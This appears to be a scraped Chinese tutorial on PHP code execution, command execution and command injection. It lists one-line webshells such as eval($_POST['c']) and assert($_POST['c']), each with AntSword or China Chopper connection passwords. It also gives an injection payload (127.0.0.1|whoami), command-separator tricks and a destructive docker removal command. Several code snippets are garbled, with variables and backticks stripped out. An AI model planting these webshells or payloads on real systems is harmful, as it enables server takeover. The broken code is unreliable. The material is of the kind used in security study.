代码执行&命令执行&命令注入

代码执行&命令执行&命令注入

代码执行

代码执行是靠脚本代码调用操作系统的命令

eval

eval( string $code) : mixed
把字符串 code 作为PHP代码执行。

eval($_POST['c']);
直接蚁剑链接密码为c 中国菜刀 cknife

assert

assert( mixed exception]) : bool
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

assert($_POST['c']);
直接蚁剑链接密码为c

preg_replace

preg_replace ( mixed replacement , mixed limit = -1 [, int &$count ]] ) : mixed
preg_replace — 执行一个正则表达式的搜索和替换
搜索subject中匹配pattern的部分, 以replacement进行替换。
当使用被弃用的 e 修饰符时, 这个函数会转义一些字符(即:'、"、 \ 和 NULL
然后进行后向引用替换。在完成替换后, 引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

echo preg_replace('/test/e','phpinfo()','asdasdtestasd');
/e修饰符前的正则表达式匹配后面的字符串参数,将test字符串替换为phpinfo()并且以eval()的方式执行。

echo preg_replace('/.*/e',$_POST['c'],'');
直接蚁剑链接密码为c

call_user_func

call_user_func ( callable parameter [, mixed $... ]] ) : mixed
call_user_func — 把第一个参数作为回调函数调用
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

call_user_func('phpinfo');

call_user_func(_POST['c']);
蚁剑链接密码为c,同时body中写入name a value assert

create_function

create_function ( string code ) : string
create_function函数接收两个参数code 然后组成新函数function_lambda_func(code;} 并eval(function_lambda_func(code;})
我们不需要传参数,直接把$code改为普通的一句话就行了。

c();
直接蚁剑链接密码为c

array_map

array_map ( callable array1 [, array $... ] ) : array
返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

array_map('assert',array($_POST['c']));
直接蚁剑链接密码为c

还有诸如array_filter、uksort、uasort、array_walk + preg_replace、preg_filter、mb_ereg_replace、register_shutdown_function、filter_var,不再一一列举

命令执行

޸命令执行是直接调用操作系统的命令

system

system ( string return_var ] ) : string
system — 执行外部程序,并且显示输出,本函数执行 command 参数所指定的命令, 并且输出执行结果。

system('whoami');

passthru

passthru ( string return_var ] ) : void
passthru — 执行外部程序并且显示原始输出

passthru('whoami');

exec

exec ( string output [, int &$return_var ]] ) : string
exec() 执行 command 参数所指定的命令。

echo exec("whoami");

pcntl_exec

pcntl_exec ( string args [, array path指定可执行二进制文件路径

pcntl_exec ( "/bin/bash" , array("whoami"));

shell_exec

shell_exec ( string $cmd ) : string
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

echo shell_exec('whoami');

popen

popen ( string mode ) : resource
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

read = fread(read;
pclose($handle);

与之对应的还有proc_open()函数

反引号(重要)

在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回,使用反引号运算符的效果与函数 shell_exec() 相同。

echo whoami;

ob_start

ob_start ([ callback chunk_size [, bool $erase ]]] ) : bool
回调system函数

cmd);
echo "$_GET[a]";
ob_end_flush();

命令注入

命令注入是一种常见的漏洞形态。一旦存在命令注入漏洞,攻击者就可以在目标系统执行任意命令。命令注入产生的原因在于本身代码支持执行某些命令,但是由于过滤不严格,导致可以注入执行额外的命令。
//exec.php
? ip=127.0.0.1|whoami

技巧

Windows系统支持的管道符如下:
“|”:直接执行后面的语句。
“||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
“&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统支持的管道符如下:
“;”:执行完前面的语句再执行后面的语句。
“|”:显示后面语句的执行结果。
“||”:当前面的语句执行出错时,执行后面的语句。
“&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
重要!!!
Linux
$(ifconfig)

docker rm $(docker ps -a -q)

你可能感兴趣的:(代码执行&命令执行&命令注入)